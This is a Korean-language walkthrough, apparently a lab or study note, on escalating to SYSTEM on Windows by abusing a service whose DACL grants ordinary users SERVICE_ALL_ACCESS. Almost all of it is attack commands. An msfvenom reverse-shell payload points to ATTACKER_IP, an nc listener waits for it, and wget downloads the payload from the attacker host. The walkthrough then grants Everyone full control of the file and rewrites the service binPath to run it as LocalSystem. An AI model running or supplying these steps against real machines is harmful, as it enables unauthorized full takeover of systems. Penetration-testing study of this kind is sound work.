- 서비스 실행 파일 권한이나 경로에 문제가 없어도 서비스 자체의 권한 설정(DACL)에 문제가 있다면 공격자가 서비스 구성을 변경해서 악성 실행 파일을 실행할 수 있다. CLI에서 서비스의 DACL을 확인하기 위해 Sysinternal Suite의 `Accesschk`를 사용할 수 있다. ##### 1단계: 서비스 DACL 확인 ```cmd accesschk64.exe -qlc wookservice ``` 결과 분석: ```cmd BUILTIN\Users: SERVICE_ALL_ACCESS ``` - `BUILTIN\Users` 그룹(모든 일반 사용자 포함)이 `SERVICE_ALL_ACCESS`권한을 가지고 있음. - 즉, 서비스 구성 수정 가능 -> 실행 파일 경로, 실행 계정 변경 가능 ##### 2단계: Kali에서 리버스 쉘 페이로드 생성 ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=1234 -f exe-service -o rev-svc.exe ``` - `exe-service` 형식으로 SYSTEM 쉘을 연결할 페이로드 생성 ##### 3단계: Kali에서 리스너 대기 ```bash nc -lvnp 1234 ``` ##### 4단계: 페이로드 전송 및 권한 설정 파일 다운로드 ```powershell wget http://ATTACKER_IP:8888/rev-svc.exe -O C:\Users\wook\rev-svc.exe ``` 권한 부여 ```powershell icacls C:\Users\wook\rev-svc.exe /grant Everyone:F ``` ##### 5단계: 서비스 구성 변경 (서비스 실행 파일 + 실행 계정 변경) ```powershell sc config WookService binPath= "C:\Users\wook\rev-svc.exe" obj= LocalSystem ``` - 중요: `=`기호 뒤에 반드시 띄어쓰기 한 칸 필수. - `binPath=`: 실행 파일 경로 설정 - `obj=`실행 계정 설정 (여기선 `LocalSystem` 사용 -> 최고 권한) ##### 6단계: 서비스 재시작 ```cmd sc stop Wookservice sc start wookservice ``` - 이때부터 `rev-svc.exe`가 SYSTEM 권한으로 실행 ##### 7단계: Kali에서 SYSTEM 권한 리버스 쉘 수신 ```bash nc -lvnp 1234 ```